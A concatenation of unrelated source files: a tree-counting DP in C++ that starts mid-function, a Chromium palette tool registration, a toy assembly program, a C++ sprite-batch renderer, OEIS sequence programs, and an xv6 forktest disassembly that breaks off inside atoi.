while (isdigit(ch))
{
x = (x << 1) + (x << 3) + (ch ^ 48);
ch = getchar();
}
x = f ? -x : x;
}
inline void add_edge(int u, int v, int w)
{
to[++tot] = v;
dir[tot] = w;
next[tot] = head[u];
head[u] = tot;
}
void dfs(int u, int pre)
{
size[u] = 1, f[u][1] = 1;
for (int c = head[u], v; c; c = next[c])
{
v = to[c];
if (v == pre) continue;
dfs(v, u);
memcpy(g, f[u], sizeof(g));
memset(f[u], 0, sizeof(f[u]));
if (dir[c])
{
for (int i = 1; i <= size[v]; ++i)
sum[i] = (sum[i - 1] + f[v][i]) % p;
for (int i = 1; i <= size[u]; ++i)
for (int j = 1; j <= size[v]; ++j)
f[u][i + j] = (f[u][i + j] + 1ll * g[i] * sum[j] % p
* C[i + j - 1][j] % p * C[size[u] + size[v] - i - j][size[u] - i] % p) % p;
}
else
{
sum[size[v]] = f[v][size[v]];
for (int i = size[v] - 1; i > 0; --i)
sum[i] = (sum[i + 1] + f[v][i]) % p;
for (int i = 1; i <= size[u]; ++i)
for (int j = 0; j < size[v]; ++j)
f[u][i + j] = (f[u][i + j] + 1ll * g[i] * sum[j + 1] % p
* C[i + j - 1][j] % p * C[size[u] + size[v] - i - j][size[u] - i] % p) % p;
}
size[u] += size[v];
}
}
int main()
{
C[0][0] = 1;
for (int i = 1; i <= 1000; ++i)
{
C[i][0] = 1;
for (int j = 1; j <= i; ++j)
{
C[i][j] = (C[i - 1][j] + C[i - 1][j - 1]) % p;
}
}
input(T);
while (T--)
{
memset(head, 0, sizeof(head));
tot = 0;
input(n);
for (int i = 1, u, v; i < n; ++i)
{
char ch;
input(u), ch = getchar(), input(v);
++u, ++v;
if (ch == '>')
add_edge(u, v, 0), add_edge(v, u, 1);
else
add_edge(u, v, 1), add_edge(v, u, 0);
}
dfs(1, 0);
int ans = 0;
for (int i = 1; i <= n; ++i)
ans = (ans + f[1][i]) % p;
printf("%d\n", ans);
}
} |
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ash/system/palette/palette_tool.h"
#include <memory>
#include "ash/assistant/util/assistant_util.h"
#include "ash/system/palette/palette_tool_manager.h"
#include "ash/system/palette/palette_utils.h"
#include "ash/system/palette/tools/capture_region_mode.h"
#include "ash/system/palette/tools/capture_screen_action.h"
#include "ash/system/palette/tools/create_note_action.h"
#include "ash/system/palette/tools/laser_pointer_mode.h"
#include "ash/system/palette/tools/magnifier_mode.h"
#include "ash/system/palette/tools/metalayer_mode.h"
#include "ui/gfx/paint_vector_icon.h"
namespace ash {
// static
void PaletteTool::RegisterToolInstances(PaletteToolManager* tool_manager) {
tool_manager->AddTool(std::make_unique<CaptureRegionMode>(tool_manager));
tool_manager->AddTool(std::make_unique<CaptureScreenAction>(tool_manager));
tool_manager->AddTool(std::make_unique<CreateNoteAction>(tool_manager));
if (assistant::util::IsGoogleDevice())
tool_manager->AddTool(std::make_unique<MetalayerMode>(tool_manager));
tool_manager->AddTool(std::make_unique<LaserPointerMode>(tool_manager));
tool_manager->AddTool(std::make_unique<MagnifierMode>(tool_manager));
}
PaletteTool::PaletteTool(Delegate* delegate) : delegate_(delegate) {}
PaletteTool::~PaletteTool() = default;
void PaletteTool::OnEnable() {
enabled_ = true;
}
void PaletteTool::OnDisable() {
enabled_ = false;
}
const gfx::VectorIcon& PaletteTool::GetActiveTrayIcon() const {
return gfx::kNoneIcon;
}
} // namespace ash
|
; Initialize the stack pointer and the base pointer
MOV XL, 0xFF
MOV XH, 0xFF
MOV SP, X
; Push the function arguments onto the stack
MOV D, 1
MOV [SP - D], 4
MOV D, 2
MOV [SP - D], 00000011b
MOV D, 3
MOV [SP - D], 0xAB
MOV D, 4
MOV [SP - D], 0xEE
MOV E, [SP - 1]
MOV F, [SP - 2]
MOV G, [SP - 3]
MOV H, [SP - 4]
; Write register E to the Output Port
OUTB E
; Write register F to the Output Port
OUTB F
; Write register G to the Output Port
OUTB G
; Write register H to the Output Port
OUTB H
HLT |
#include "../../../include/xd/graphics/sprite_batch.hpp"
#include "../../../include/xd/graphics/texture.hpp"
#include "../../../include/xd/graphics/vertex_batch.hpp"
#include "../../../include/xd/graphics/shader_program.hpp"
#include "../../../include/xd/graphics/utility.hpp"
#include <deque>
namespace xd { namespace detail {
struct sprite
{
std::shared_ptr<texture> tex;
rect src;
float x, y;
float rotation;
xd::vec2 scale;
xd::vec2 origin;
xd::vec4 color;
float depth;
};
struct sprite_batch_data
{
std::deque<sprite> sprites;
std::unique_ptr<xd::shader_program> shader;
std::unique_ptr<xd::shader_program> outline_shader;
sprite_batch_data() :
shader(std::make_unique<xd::sprite_shader>()),
outline_shader(std::make_unique<xd::sprite_outline_shader>()) {}
};
} }
xd::sprite_batch::sprite_batch()
: m_data(std::make_unique<detail::sprite_batch_data>())
, m_scale(1)
, m_outline_color(1.0, 1.0, 0.0, 1.0)
{
}
xd::sprite_batch::~sprite_batch()
{
}
void xd::sprite_batch::clear()
{
m_data->sprites.clear();
}
bool xd::sprite_batch::empty() const {
return m_data->sprites.empty();
}
xd::sprite_batch::batch_list xd::sprite_batch::create_batches()
{
xd::sprite_batch::batch_list batches;
// create a quad for rendering sprites
xd::detail::sprite_vertex quad[4];
// iterate through all sprites
for (auto i = m_data->sprites.begin(); i != m_data->sprites.end(); ++i) {
// so we need to type less ;)
auto tw = i->tex->width();
auto th = i->tex->height();
auto& src = i->src;
auto& origin = i->origin;
// calculate scale
vec2 scale = m_scale * i->scale;
// assign position
quad[0].pos = vec2(scale.x*(0-origin.x)*src.w, scale.y*(1-origin.y)*src.h);
quad[1].pos = vec2(scale.x*(1-origin.x)*src.w, scale.y*(1-origin.y)*src.h);
quad[2].pos = vec2(scale.x*(1-origin.x)*src.w, scale.y*(0-origin.y)*src.h);
quad[3].pos = vec2(scale.x*(0-origin.x)*src.w, scale.y*(0-origin.y)*src.h);
// if there's rotation
if (i->rotation) {
// construct a rotation matrix
auto rotation_matrix = rotate(mat4(), i->rotation, vec3(0, 0, 1));
// rotate the 4 vertices
quad[0].pos = vec2(rotation_matrix * vec4(quad[0].pos, 0, 1));
quad[1].pos = vec2(rotation_matrix * vec4(quad[1].pos, 0, 1));
quad[2].pos = vec2(rotation_matrix * vec4(quad[2].pos, 0, 1));
quad[3].pos = vec2(rotation_matrix * vec4(quad[3].pos, 0, 1));
}
// assign texture pos
quad[0].texpos = vec2(src.x/tw , (src.y+src.h)/th);
quad[1].texpos = vec2((src.x+src.w)/tw, (src.y+src.h)/th);
quad[2].texpos = vec2((src.x+src.w)/tw, src.y/th);
quad[3].texpos = vec2(src.x/tw , src.y/th);
// create a vertex batch for sending vertex data
auto batch = std::make_shared<xd::vertex_batch<detail::sprite_vertex_traits>>(&quad[0], 4, GL_QUADS);
batches.push_back(batch);
}
return batches;
}
void xd::sprite_batch::draw(const shader_uniforms& uniforms, const xd::sprite_batch::batch_list& batches)
{
draw(*m_data->shader, uniforms, batches);
}
void xd::sprite_batch::draw(const shader_uniforms& uniforms)
{
draw(*m_data->shader, uniforms);
}
void xd::sprite_batch::draw_outlined(const shader_uniforms& uniforms, const xd::sprite_batch::batch_list& batches)
{
draw(*m_data->shader, uniforms, batches);
draw(*m_data->outline_shader, uniforms, batches);
}
void xd::sprite_batch::draw_outlined(const shader_uniforms& uniforms)
{
draw(*m_data->shader, uniforms);
draw(*m_data->outline_shader, uniforms);
}
void xd::sprite_batch::draw(xd::shader_program& shader, const shader_uniforms& uniforms, const xd::sprite_batch::batch_list& batches)
{
assert(m_data->sprites.size() == batches.size());
if (empty())
return;
// setup the shader
shader.use();
shader.bind_uniform("mvpMatrix", uniforms.mvp_matrix);
if (uniforms.ticks) shader.bind_uniform("ticks", *uniforms.ticks);
if (uniforms.brightness) shader.bind_uniform("brightness", *uniforms.brightness);
if (uniforms.contrast) shader.bind_uniform("contrast", *uniforms.contrast);
// iterate through all sprites
for (unsigned int i = 0; i < m_data->sprites.size(); ++i) {
auto& sprite = m_data->sprites[i];
auto& batch = batches[i];
// give required params to shader
shader.bind_uniform("vPosition", vec4(sprite.x, sprite.y, sprite.depth, 0));
shader.bind_uniform("vColor", sprite.color);
shader.bind_uniform("vColorKey", sprite.tex->color_key());
// bind the texture
sprite.tex->bind(GL_TEXTURE0);
shader.bind_uniform("vTexSize", vec2(sprite.tex->width(), sprite.tex->height()));
// draw it
batch->render();
}
}
void xd::sprite_batch::draw(xd::shader_program& shader, const shader_uniforms& uniforms)
{
if (empty())
return;
// create a vertex batch for sending vertex data
if (!m_batch) {
m_batch = std::make_unique<xd::vertex_batch<detail::sprite_vertex_traits>>(GL_QUADS);
}
// setup the shader
shader.use();
shader.bind_uniform("mvpMatrix", uniforms.mvp_matrix);
if (uniforms.ticks) shader.bind_uniform("ticks", *uniforms.ticks);
if (uniforms.brightness) shader.bind_uniform("brightness", *uniforms.brightness);
if (uniforms.contrast) shader.bind_uniform("contrast", *uniforms.contrast);
shader.bind_uniform("vOutlineColor", m_outline_color);
// create a quad for rendering sprites
detail::sprite_vertex quad[4];
// iterate through all sprites
for (auto i = m_data->sprites.begin(); i != m_data->sprites.end(); ++i) {
// so we need to type less ;)
auto& tex = *i->tex;
auto tw = tex.width();
auto th = tex.height();
auto& src = i->src;
auto& origin = i->origin;
// calculate scale
vec2 scale = m_scale * i->scale;
// assign position
quad[0].pos = vec2(scale.x*(0-origin.x)*src.w, scale.y*(1-origin.y)*src.h);
quad[1].pos = vec2(scale.x*(1-origin.x)*src.w, scale.y*(1-origin.y)*src.h);
quad[2].pos = vec2(scale.x*(1-origin.x)*src.w, scale.y*(0-origin.y)*src.h);
quad[3].pos = vec2(scale.x*(0-origin.x)*src.w, scale.y*(0-origin.y)*src.h);
// if there's rotation
if (i->rotation) {
// construct a rotation matrix
auto rotation_matrix = rotate(mat4(), i->rotation, vec3(0, 0, 1));
// rotate the 4 vertices
quad[0].pos = vec2(rotation_matrix * vec4(quad[0].pos, 0, 1));
quad[1].pos = vec2(rotation_matrix * vec4(quad[1].pos, 0, 1));
quad[2].pos = vec2(rotation_matrix * vec4(quad[2].pos, 0, 1));
quad[3].pos = vec2(rotation_matrix * vec4(quad[3].pos, 0, 1));
}
// assign texture pos
quad[0].texpos = vec2(src.x/tw , (src.y+src.h)/th);
quad[1].texpos = vec2((src.x+src.w)/tw, (src.y+src.h)/th);
quad[2].texpos = vec2((src.x+src.w)/tw, src.y/th);
quad[3].texpos = vec2(src.x/tw , src.y/th);
// load the batch data
m_batch->load(&quad[0], 4);
// give required params to shader
shader.bind_uniform("vPosition", vec4(i->x, i->y, i->depth, 0));
shader.bind_uniform("vColor", i->color);
shader.bind_uniform("vColorKey", tex.color_key());
// bind the texture
i->tex->bind(GL_TEXTURE0);
shader.bind_uniform("vTexSize", vec2(tw, th));
// draw it
m_batch->render();
}
}
void xd::sprite_batch::set_shader(std::unique_ptr<shader_program> shader) {
m_data->shader = std::move(shader);
}
void xd::sprite_batch::reset_shader() {
m_data->shader = std::make_unique<xd::sprite_shader>();
}
void xd::sprite_batch::add(const std::shared_ptr<xd::texture>& texture, float x, float y,
const xd::vec4& color, const xd::vec2& origin)
{
add(texture, rect(0, 0, texture->width(), texture->height()), x, y, 0,
vec2(1, 1), color, origin);
}
void xd::sprite_batch::add(const std::shared_ptr<xd::texture>& texture, float x, float y,
float rotation, float scale, const xd::vec4& color, const xd::vec2& origin)
{
add(texture, rect(0, 0, texture->width(), texture->height()),
x, y, rotation, vec2(scale, scale), color, origin);
}
void xd::sprite_batch::add(const std::shared_ptr<xd::texture>& texture, float x, float y,
float rotation, const xd::vec2& scale,
const xd::vec4& color, const xd::vec2& origin)
{
add(texture, rect(0, 0, texture->width(), texture->height()),
x, y, rotation, scale,color, origin);
}
void xd::sprite_batch::add(const std::shared_ptr<xd::texture>& texture, const xd::rect& src, float x, float y,
const xd::vec4& color, const xd::vec2& origin)
{
add(texture, src, x, y, 0, vec2(1, 1), color, origin);
}
void xd::sprite_batch::add(const std::shared_ptr<xd::texture>& texture, const xd::rect& src,
float x, float y, float rotation, float scale,
const xd::vec4& color, const xd::vec2& origin)
{
add(texture, src, x, y, rotation, vec2(scale, scale), color, origin);
}
void xd::sprite_batch::add(const std::shared_ptr<xd::texture>& texture, const xd::rect& src,
float x, float y, float rotation, const xd::vec2& scale,
const xd::vec4& color, const xd::vec2& origin)
{
detail::sprite sprite;
sprite.tex = texture;
sprite.src = src;
sprite.x = x;
sprite.y = y;
sprite.rotation = rotation;
sprite.scale = scale;
sprite.origin = origin;
sprite.color = color;
sprite.depth = 0.0f;
m_data->sprites.push_back(sprite);
}
|
#include "stdfsc.h"
#include "fstype.h"
#include "fsexception.h"
void FSThrowMemoryException()
{
throw CFSMemoryException();
}
|
; A180143: Eight rooks and one berserker on a 3 X 3 chessboard. G.f.: (1 + x^2)/(1 - 4*x + x^2 + 2*x^3).
; 1,4,16,58,208,742,2644,9418,33544,119470,425500,1515442,5397328,19222870,68463268,243835546,868433176,3092970622,11015778220,39233275906,139731384160,497660704294,1772444881204,6312656052202
seq $0,7482 ; a(n) is the number of subsequences of [ 1, ..., 2n ] in which each odd number has an even neighbor.
mul $0,3
div $0,2
|
; A335648: Partial sums of A006010.
; 0,1,6,26,78,195,420,820,1476,2501,4026,6222,9282,13447,18984,26216,35496,47241,61902,80002,102102,128843,160908,199068,244140,297037,358722,430262,512778,607503,715728,838864,978384,1135889,1313046,1511658,1733598,1980883,2255604,2560004,2896404,3267285,3675210,4122910,4613202,5149079,5733624,6370104,7061880,7812505,8625630,9505106,10454886,11479131,12582108,13768300,15042300,16408925,17873106,19440006,21114906,22903327,24810912,26843552,29007264,31308321,33753126,36348346,39100782,42017507,45105732,48372948,51826788,55475173,59326170,63388142,67669602,72179367,76926408,81920008,87169608,92684969,98476014,104552994,110926326,117606763,124605228,131932988,139601484,147622509,156008034,164770390,173922090,183476015,193445232,203843184,214683504,225980209,237747510,250000010
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,6010 ; Number of paraffins (see Losanitsch reference for precise definition).
add $1,$2
lpe
mov $0,$1
|
_forktest: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
printf(1, "fork test OK\n");
}
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
forktest();
11: e8 3a 00 00 00 call 50 <forktest>
exit();
16: e8 87 03 00 00 call 3a2 <exit>
1b: 66 90 xchg %ax,%ax
1d: 66 90 xchg %ax,%ax
1f: 90 nop
00000020 <printf>:
{
20: 55 push %ebp
21: 89 e5 mov %esp,%ebp
23: 53 push %ebx
24: 83 ec 10 sub $0x10,%esp
27: 8b 5d 0c mov 0xc(%ebp),%ebx
write(fd, s, strlen(s));
2a: 53 push %ebx
2b: e8 a0 01 00 00 call 1d0 <strlen>
30: 83 c4 0c add $0xc,%esp
33: 50 push %eax
34: 53 push %ebx
35: ff 75 08 pushl 0x8(%ebp)
38: e8 85 03 00 00 call 3c2 <write>
}
3d: 83 c4 10 add $0x10,%esp
40: 8b 5d fc mov -0x4(%ebp),%ebx
43: c9 leave
44: c3 ret
45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000050 <forktest>:
{
50: 55 push %ebp
51: 89 e5 mov %esp,%ebp
53: 53 push %ebx
for(n=0; n<N; n++){
54: 31 db xor %ebx,%ebx
{
56: 83 ec 10 sub $0x10,%esp
write(fd, s, strlen(s));
59: 68 64 04 00 00 push $0x464
5e: e8 6d 01 00 00 call 1d0 <strlen>
63: 83 c4 0c add $0xc,%esp
66: 50 push %eax
67: 68 64 04 00 00 push $0x464
6c: 6a 01 push $0x1
6e: e8 4f 03 00 00 call 3c2 <write>
73: 83 c4 10 add $0x10,%esp
76: eb 19 jmp 91 <forktest+0x41>
78: 90 nop
79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(pid == 0)
80: 0f 84 7c 00 00 00 je 102 <forktest+0xb2>
for(n=0; n<N; n++){
86: 83 c3 01 add $0x1,%ebx
89: 81 fb e8 03 00 00 cmp $0x3e8,%ebx
8f: 74 4f je e0 <forktest+0x90>
pid = fork();
91: e8 04 03 00 00 call 39a <fork>
if(pid < 0)
96: 85 c0 test %eax,%eax
98: 79 e6 jns 80 <forktest+0x30>
for(; n > 0; n--){
9a: 85 db test %ebx,%ebx
9c: 74 10 je ae <forktest+0x5e>
9e: 66 90 xchg %ax,%ax
if(wait() < 0){
a0: e8 05 03 00 00 call 3aa <wait>
a5: 85 c0 test %eax,%eax
a7: 78 5e js 107 <forktest+0xb7>
for(; n > 0; n--){
a9: 83 eb 01 sub $0x1,%ebx
ac: 75 f2 jne a0 <forktest+0x50>
if(wait() != -1){
ae: e8 f7 02 00 00 call 3aa <wait>
b3: 83 f8 ff cmp $0xffffffff,%eax
b6: 75 71 jne 129 <forktest+0xd9>
write(fd, s, strlen(s));
b8: 83 ec 0c sub $0xc,%esp
bb: 68 96 04 00 00 push $0x496
c0: e8 0b 01 00 00 call 1d0 <strlen>
c5: 83 c4 0c add $0xc,%esp
c8: 50 push %eax
c9: 68 96 04 00 00 push $0x496
ce: 6a 01 push $0x1
d0: e8 ed 02 00 00 call 3c2 <write>
}
d5: 8b 5d fc mov -0x4(%ebp),%ebx
d8: c9 leave
d9: c3 ret
da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
write(fd, s, strlen(s));
e0: 83 ec 0c sub $0xc,%esp
e3: 68 a4 04 00 00 push $0x4a4
e8: e8 e3 00 00 00 call 1d0 <strlen>
ed: 83 c4 0c add $0xc,%esp
f0: 50 push %eax
f1: 68 a4 04 00 00 push $0x4a4
f6: 6a 01 push $0x1
f8: e8 c5 02 00 00 call 3c2 <write>
exit();
fd: e8 a0 02 00 00 call 3a2 <exit>
exit();
102: e8 9b 02 00 00 call 3a2 <exit>
write(fd, s, strlen(s));
107: 83 ec 0c sub $0xc,%esp
10a: 68 6f 04 00 00 push $0x46f
10f: e8 bc 00 00 00 call 1d0 <strlen>
114: 83 c4 0c add $0xc,%esp
117: 50 push %eax
118: 68 6f 04 00 00 push $0x46f
11d: 6a 01 push $0x1
11f: e8 9e 02 00 00 call 3c2 <write>
exit();
124: e8 79 02 00 00 call 3a2 <exit>
write(fd, s, strlen(s));
129: 83 ec 0c sub $0xc,%esp
12c: 68 83 04 00 00 push $0x483
131: e8 9a 00 00 00 call 1d0 <strlen>
136: 83 c4 0c add $0xc,%esp
139: 50 push %eax
13a: 68 83 04 00 00 push $0x483
13f: 6a 01 push $0x1
141: e8 7c 02 00 00 call 3c2 <write>
exit();
146: e8 57 02 00 00 call 3a2 <exit>
14b: 66 90 xchg %ax,%ax
14d: 66 90 xchg %ax,%ax
14f: 90 nop
00000150 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
15a: 89 c2 mov %eax,%edx
15c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
160: 83 c1 01 add $0x1,%ecx
163: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
167: 83 c2 01 add $0x1,%edx
16a: 84 db test %bl,%bl
16c: 88 5a ff mov %bl,-0x1(%edx)
16f: 75 ef jne 160 <strcpy+0x10>
;
return os;
}
171: 5b pop %ebx
172: 5d pop %ebp
173: c3 ret
174: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
17a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000180 <strcmp>:
int
strcmp(const char *p, const char *q)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 53 push %ebx
184: 8b 55 08 mov 0x8(%ebp),%edx
187: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
18a: 0f b6 02 movzbl (%edx),%eax
18d: 0f b6 19 movzbl (%ecx),%ebx
190: 84 c0 test %al,%al
192: 75 1c jne 1b0 <strcmp+0x30>
194: eb 2a jmp 1c0 <strcmp+0x40>
196: 8d 76 00 lea 0x0(%esi),%esi
199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
1a0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
1a3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
1a6: 83 c1 01 add $0x1,%ecx
1a9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
1ac: 84 c0 test %al,%al
1ae: 74 10 je 1c0 <strcmp+0x40>
1b0: 38 d8 cmp %bl,%al
1b2: 74 ec je 1a0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
1b4: 29 d8 sub %ebx,%eax
}
1b6: 5b pop %ebx
1b7: 5d pop %ebp
1b8: c3 ret
1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1c0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
1c2: 29 d8 sub %ebx,%eax
}
1c4: 5b pop %ebx
1c5: 5d pop %ebp
1c6: c3 ret
1c7: 89 f6 mov %esi,%esi
1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001d0 <strlen>:
uint
strlen(const char *s)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
1d6: 80 39 00 cmpb $0x0,(%ecx)
1d9: 74 15 je 1f0 <strlen+0x20>
1db: 31 d2 xor %edx,%edx
1dd: 8d 76 00 lea 0x0(%esi),%esi
1e0: 83 c2 01 add $0x1,%edx
1e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1e7: 89 d0 mov %edx,%eax
1e9: 75 f5 jne 1e0 <strlen+0x10>
;
return n;
}
1eb: 5d pop %ebp
1ec: c3 ret
1ed: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
1f0: 31 c0 xor %eax,%eax
}
1f2: 5d pop %ebp
1f3: c3 ret
1f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000200 <memset>:
void*
memset(void *dst, int c, uint n)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 57 push %edi
204: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
207: 8b 4d 10 mov 0x10(%ebp),%ecx
20a: 8b 45 0c mov 0xc(%ebp),%eax
20d: 89 d7 mov %edx,%edi
20f: fc cld
210: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
212: 89 d0 mov %edx,%eax
214: 5f pop %edi
215: 5d pop %ebp
216: c3 ret
217: 89 f6 mov %esi,%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000220 <strchr>:
char*
strchr(const char *s, char c)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 53 push %ebx
224: 8b 45 08 mov 0x8(%ebp),%eax
227: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
22a: 0f b6 10 movzbl (%eax),%edx
22d: 84 d2 test %dl,%dl
22f: 74 1d je 24e <strchr+0x2e>
if(*s == c)
231: 38 d3 cmp %dl,%bl
233: 89 d9 mov %ebx,%ecx
235: 75 0d jne 244 <strchr+0x24>
237: eb 17 jmp 250 <strchr+0x30>
239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
240: 38 ca cmp %cl,%dl
242: 74 0c je 250 <strchr+0x30>
for(; *s; s++)
244: 83 c0 01 add $0x1,%eax
247: 0f b6 10 movzbl (%eax),%edx
24a: 84 d2 test %dl,%dl
24c: 75 f2 jne 240 <strchr+0x20>
return (char*)s;
return 0;
24e: 31 c0 xor %eax,%eax
}
250: 5b pop %ebx
251: 5d pop %ebp
252: c3 ret
253: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <gets>:
char*
gets(char *buf, int max)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 57 push %edi
264: 56 push %esi
265: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
266: 31 f6 xor %esi,%esi
268: 89 f3 mov %esi,%ebx
{
26a: 83 ec 1c sub $0x1c,%esp
26d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
270: eb 2f jmp 2a1 <gets+0x41>
272: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
278: 8d 45 e7 lea -0x19(%ebp),%eax
27b: 83 ec 04 sub $0x4,%esp
27e: 6a 01 push $0x1
280: 50 push %eax
281: 6a 00 push $0x0
283: e8 32 01 00 00 call 3ba <read>
if(cc < 1)
288: 83 c4 10 add $0x10,%esp
28b: 85 c0 test %eax,%eax
28d: 7e 1c jle 2ab <gets+0x4b>
break;
buf[i++] = c;
28f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
293: 83 c7 01 add $0x1,%edi
296: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
299: 3c 0a cmp $0xa,%al
29b: 74 23 je 2c0 <gets+0x60>
29d: 3c 0d cmp $0xd,%al
29f: 74 1f je 2c0 <gets+0x60>
for(i=0; i+1 < max; ){
2a1: 83 c3 01 add $0x1,%ebx
2a4: 3b 5d 0c cmp 0xc(%ebp),%ebx
2a7: 89 fe mov %edi,%esi
2a9: 7c cd jl 278 <gets+0x18>
2ab: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
2ad: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
2b0: c6 03 00 movb $0x0,(%ebx)
}
2b3: 8d 65 f4 lea -0xc(%ebp),%esp
2b6: 5b pop %ebx
2b7: 5e pop %esi
2b8: 5f pop %edi
2b9: 5d pop %ebp
2ba: c3 ret
2bb: 90 nop
2bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2c0: 8b 75 08 mov 0x8(%ebp),%esi
2c3: 8b 45 08 mov 0x8(%ebp),%eax
2c6: 01 de add %ebx,%esi
2c8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
2ca: c6 03 00 movb $0x0,(%ebx)
}
2cd: 8d 65 f4 lea -0xc(%ebp),%esp
2d0: 5b pop %ebx
2d1: 5e pop %esi
2d2: 5f pop %edi
2d3: 5d pop %ebp
2d4: c3 ret
2d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002e0 <stat>:
int
stat(const char *n, struct stat *st)
{
2e0: 55 push %ebp
2e1: 89 e5 mov %esp,%ebp
2e3: 56 push %esi
2e4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2e5: 83 ec 08 sub $0x8,%esp
2e8: 6a 00 push $0x0
2ea: ff 75 08 pushl 0x8(%ebp)
2ed: e8 f0 00 00 00 call 3e2 <open>
if(fd < 0)
2f2: 83 c4 10 add $0x10,%esp
2f5: 85 c0 test %eax,%eax
2f7: 78 27 js 320 <stat+0x40>
return -1;
r = fstat(fd, st);
2f9: 83 ec 08 sub $0x8,%esp
2fc: ff 75 0c pushl 0xc(%ebp)
2ff: 89 c3 mov %eax,%ebx
301: 50 push %eax
302: e8 f3 00 00 00 call 3fa <fstat>
close(fd);
307: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
30a: 89 c6 mov %eax,%esi
close(fd);
30c: e8 b9 00 00 00 call 3ca <close>
return r;
311: 83 c4 10 add $0x10,%esp
}
314: 8d 65 f8 lea -0x8(%ebp),%esp
317: 89 f0 mov %esi,%eax
319: 5b pop %ebx
31a: 5e pop %esi
31b: 5d pop %ebp
31c: c3 ret
31d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
320: be ff ff ff ff mov $0xffffffff,%esi
325: eb ed jmp 314 <stat+0x34>
327: 89 f6 mov %esi,%esi
329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000330 <atoi>:
int
atoi(const char *s)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 53 push %ebx
334: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
337: 0f be 11 movsbl (%ecx),%edx
33a: 8d 42 d0 lea -0x30(%edx),%eax
33d: 3c 09 cmp $0x9,%al
n = 0;
33f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
344: 77 1f ja 365 <atoi+0x35>
346: 8d 76 00 lea 0x0(%esi),%esi
349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
350: 8d 04 80 lea (%eax,%eax,4),%eax
353: 83 c1 01 add $0x1,%ecx
356: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
35a: 0f be 11 movsbl (%ecx),%edx
35d: 8d 5a d0 lea -0x30(%edx),%ebx
360: 80 fb 09 cmp $0x9,%bl
363: 76 eb jbe 350 <atoi+0x20>
return n;
}
365: 5b pop %ebx
366: 5d pop %ebp
